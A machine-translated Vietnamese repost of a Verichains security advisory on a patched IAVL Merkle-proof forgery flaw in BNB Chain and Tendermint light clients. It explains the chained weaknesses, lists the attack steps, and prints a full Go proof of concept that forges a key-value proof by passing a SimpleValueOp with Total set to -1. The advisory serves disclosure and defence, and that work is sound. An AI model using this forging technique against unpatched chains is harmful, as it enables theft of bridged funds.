[VSA-2022-101] Từ Nil đến giả mạo - Tấn công giả mạo IAVL quan trọng thông qua nhiều lỗ hổng

Bài viết này được dịch máy
Xem bản gốc

Lời khuyên này nêu bật một Cuộc tấn công giả mạo IAVL quan trọng thông qua nhiều lỗ hổng được Verichains phát hiện trong cơ sở mã BNB Chain và Tendermint.

Kẻ tấn công có khả năng thực hiện một cuộc tấn công giả mạo IAVL dẫn đến tổn thất đáng kể về tiền tương tự như vụ tấn công trước đó bằng cách khai thác chuỗi điểm yếu được mô tả trong lời khuyên này. Chúng tôi đã tiết lộ riêng vấn đề này với BNB Chain và vấn đề đã được khắc phục nhanh chóng trong cùng ngày. Nhờ nỗ lực này, không có hành vi khai thác độc hại nào xảy ra và không có khoản tiền nào bị thất thoát.

Bản tóm tắt

BNB Smart Chain (BSC) triển khai một số cơ chế hệ thống tích hợp chuyên dụng để hỗ trợ kết nối Chuỗi chéo . Để đảm bảo rằng các bằng chứng Merkle được gửi giữa các chuỗi là hợp lệ, BSC sử dụng một số triển khai IAVL + Merkle Tree từ Tendermint và Cosmos. IAVL Tree được sử dụng để chứng minh hoặc bác bỏ sự hiện diện của giao dịch Chuỗi chéo và hàm băm tải trọng tương ứng.

Vào ngày 6 tháng 10 năm 2022, Cầu Chuỗi chéo của BNB Chain đã bị lợi dụng để phát hành bất hợp pháp 2 triệu BNB, trị giá ~566 triệu USD do có lỗ hổng trong xác minh RangeProof của IAVL trong mã.

Vào ngày 11 tháng 10 năm 2022, Verichains đã tìm thấy một vấn đề nghiêm trọng mới trong `merkle.SimpleValueOp` trong BSC và Tendermint (`ValueOp`). `ProofOp` này có thể tạo ra hàm băm gốc bằng không sau khi xác minh cặp khóa-giá trị đầu vào. Trong BSC, kẻ tấn công có thể lừa ứng dụng khách nhẹ chấp nhận các cặp khóa-giá trị tùy ý của bất kỳ cửa hàng phụ nào (cửa hàng phụ `ibc` trong trường hợp của chúng tôi) bằng cách sử dụng bằng chứng đa cửa hàng ở độ cao BC vào thời điểm chuỗi BSC chỉ đã được triển khai (vì vậy hàm băm gốc của cửa hàng phụ IBC là không).

Chúng tôi đã tiết lộ riêng vấn đề này với BNB Chain và vấn đề đã được khắc phục nhanh chóng trong cùng ngày. Nhờ nỗ lực này, không có hành vi khai thác độc hại nào xảy ra và không có khoản tiền nào bị thất thoát.

Do những lo ngại về bảo mật được phát hiện trong Tendermint được nêu bật trong tư vấn này, chúng tôi đã quyết định đợi 120 ngày tuân theo chính sách tiết lộ lỗ hổng trước khi phát hành ra công chúng, cùng với VSA-2022-100 . Chúng tôi kêu gọi tất cả các dự án vẫn đang sử dụng xác minh bằng chứng IAVL của Tendermint thực hiện các biện pháp cần thiết để bảo đảm tài sản của họ và giảm thiểu rủi ro khai thác.

Phân tích

Có một số điểm yếu trong cơ sở mã dẫn đến cuộc tấn công này:

  • Cấu trúc bằng chứng duy nhất được sử dụng là `[ProofOpIAVLValue, ProofOpMultiStore]`. Tuy nhiên, cấu trúc này không bắt buộc vì không có hạn chế về độ dài của danh sách `ProofOps` và loại của từng `ProofOp`. Các loại `ProofOp` không sử dụng như `ProofOpSimpleValue` cũng được đăng ký trong thời gian chạy:

 func DefaultProofRuntime() (prt *merkle.ProofRuntime) { prt = merkle.NewProofRuntime() prt.RegisterOpDecoder(merkle.ProofOpSimpleValue, merkle.SimpleValueOpDecoder) prt.RegisterOpDecoder(iavl.ProofOpIAVLValue, iavl.IAVLValueOpDecoder) prt.RegisterOpDecoder(iavl.ProofOpIAVLAbsence, iavl.IAVLAbsenceOpDecoder) prt.RegisterOpDecoder(ProofOpMultiStore, MultiStoreProofOpDecoder) return }
  • Trong một bằng chứng về nhiều cửa hàng, hàm băm gốc của một cửa hàng phụ trong `CommitID` được phép bằng không (nó chỉ đơn giản là một lát cắt byte Golang). Hàm băm của một cửa hàng phụ trống không được bằng 0 vì luôn luôn là một cách tốt để xác định hàm băm không có gì:

 type CommitID struct {  Version int64 Hash  []byte }
  • Sau khi xác minh cặp khóa-giá trị đầu vào, `ProofOpSimpleValue` trả về hàm băm gốc bằng không thay vì gây ra lỗi trên đầu vào không mong muốn, (ví dụ: cây có số lượng nút âm). Lỗi này tương tự như lỗi `ProofOpValue` trong Tendermint được báo cáo trong VSA-2022-100 :

 func computeHashFromAunts(index int, total int, leafHash []byte, innerHashes [][]byte) []byte {  if index >= total || index < 0 || total <= 0 {     return nil }

Thật đơn giản để kết hợp những điểm yếu này để lừa ứng dụng khách nhẹ chấp nhận cặp khóa-giá trị tùy ý của bất kỳ cửa hàng phụ nào (cửa hàng phụ `ibc` trong trường hợp của chúng tôi):

  1. Tìm một bằng chứng hợp lệ ở độ cao mà cửa hàng phụ trống (hàm băm gốc của nó bằng không).

  2. Giữ phần bằng chứng nhiều cửa hàng không thay đổi.

  3. Thay thế `ProofOpIAVLValue` bằng `ProofOpSimpleValue` trong đó `SimpleProof.LeafHash` là hàm băm của cặp khóa-giá trị do chúng tôi chọn và `SimpleProof.Total` là -1.

Khai thác

Đây là một PoC thể hiện cuộc tấn công:

 package main import ( "bytes" "encoding/hex" "github.com/ethereum/go-ethereum/core/vm/lightclient" goanimo "github.com/tendermint/go-amino" "github.com/tendermint/tendermint/crypto/merkle" "github.com/tendermint/tendermint/crypto/tmhash" "log" ) func main() { // multistore proof at BC height 110000000 // at that height ibc hash should be nil height := 110000000 inputHex := "" input, err := hex.DecodeString(inputHex) if err != nil { panic(err) } op, err := lightclient.MultiStoreProofOpDecoder(merkle.ProofOp{Type: "multistore", Key: []byte("ibc"), Data: input}) if err != nil { panic(err) } appHash := op.(lightclient.MultiStoreProofOp).Proof.ComputeRootHash() log.Printf("expected appHash at %d (maybe +1, not sure): %s \n ", height, hex.EncodeToString(appHash)) // fake key-value pair and its hash key := []byte{0x13, 0x37} value := []byte{0x13, 0x37} vhash := tmhash.Sum(value) bz := new(bytes.Buffer) _ = goanimo.EncodeByteSlice(bz, key) // does not error _ = goanimo.EncodeByteSlice(bz, vhash) kvhash := tmhash.Sum(append([]byte{0}, bz.Bytes() ... )) // this proofOp will be verified correctly and output a nil root hash which matches ibc hash at the chosen height. op2 := merkle.NewSimpleValueOp(key, &merkle.SimpleProof{ LeafHash: kvhash, Total: -1, }) fakeKVMP := lightclient.KeyValueMerkleProof{ Key: key, Value: value, StoreName: "ibc", AppHash: appHash, Proof: &merkle.Proof{Ops: []merkle.ProofOp{op2.ProofOp(), op.ProofOp()}}, } // should be evaluated to true log.Println(fakeKVMP.Validate()) }

Sản phẩm bị ảnh hưởng

khuyến nghị

  • Không đăng ký bộ giải mã cho `ProofOpSimpleValue` và `ProofOpIAVLAbsence` trong hàm `DefaultProofRuntime` vì chúng không được sử dụng. Bạn cũng nên kiểm tra loại của từng `ProofOp` dựa trên chỉ mục của nó trong danh sách `ProofOps` của bằng chứng.

  • Cân nhắc xác định hàm băm cho một cửa hàng phụ trống (có thể gây ra sự không tương thích).

Chúng tôi khuyên bạn nên thực hành mã hóa an toàn, trong đó kiểm tra độ chính xác được thực hiện ngay trước khi đầu vào được sử dụng, vì vậy người dùng không bao giờ có thể bị lợi dụng cho dù họ sử dụng mã của bên thứ ba như thế nào.

Sự nhìn nhận

Chúng tôi bày tỏ lòng biết ơn đối với nhóm phát triển và bảo mật BNB Chain vì những nỗ lực nhanh chóng của họ trong việc giải quyết lỗ hổng được xác định trong cơ sở mã BNB Chain.

Mốc thời gian

Cảm ơn bạn đã đọc Verichains! Đăng ký miễn phí để nhận bài viết mới và hỗ trợ công việc của tôi.

==============

Giới thiệu về Verichains

Kể từ năm 2017, Verichains đã là công ty bảo mật chuỗi khối tiên phong và hàng đầu ở APAC, với chuyên môn sâu rộng về bảo mật, mật mã và công nghệ chuỗi khối cốt lõi. Hơn 200 khách hàng tin tưởng giao cho chúng tôi số tài sản trị giá 50 tỷ đô la được bảo vệ, bao gồm một số khách hàng nổi tiếng như BNB Chain, Klaytn, Wemix, Đa chuỗi, Line Corp, Axie Infinity, Ronin Network và Kyber Network.

Nhóm nghiên cứu mật mã và bảo mật đẳng cấp thế giới của chúng tôi đã tìm thấy một số lỗ hổng trong giao thức lớp 1, thư viện tiền điện tử, cầu nối và hợp đồng thông minh. Chúng tôi cũng tự hào là công ty đã giúp điều tra, phân tích nguyên nhân gốc rễ và khắc phục các sự cố bảo mật trong hai vụ hack tiền điện tử lớn nhất toàn cầu: BNB Chain Bridge và Ronin Bridge (Sky Mavis).

Với nghiên cứu chuyên sâu và phát triển công nghệ chuỗi khối, Verichains cung cấp các dịch vụ bảo mật chuỗi khối như giao thức chuỗi khối và kiểm toán bảo mật hợp đồng thông minh, bảo vệ ứng dụng di động, giải pháp quản lý khóa, giám sát rủi ro trên chuỗi và dịch vụ kiểm tra thâm nhập/đội đỏ.

Trang chủ: https://www.verichains.io

Email: info@verichains.io

Twitter: https://twitter.com/Verichains

Liên kết: https://www.linkedin.com/company/verichains

Facebook: https://facebook.com/verichains

Điện tín: https://t.me/+Y29xcaxJLJxjNDVl

Nguồn
Tuyên bố từ chối trách nhiệm: Nội dung trên chỉ là ý kiến của tác giả, không đại diện cho bất kỳ lập trường nào của Followin, không nhằm mục đích và sẽ không được hiểu hay hiểu là lời khuyên đầu tư từ Followin.
Thích
Thêm vào Yêu thích
Bình luận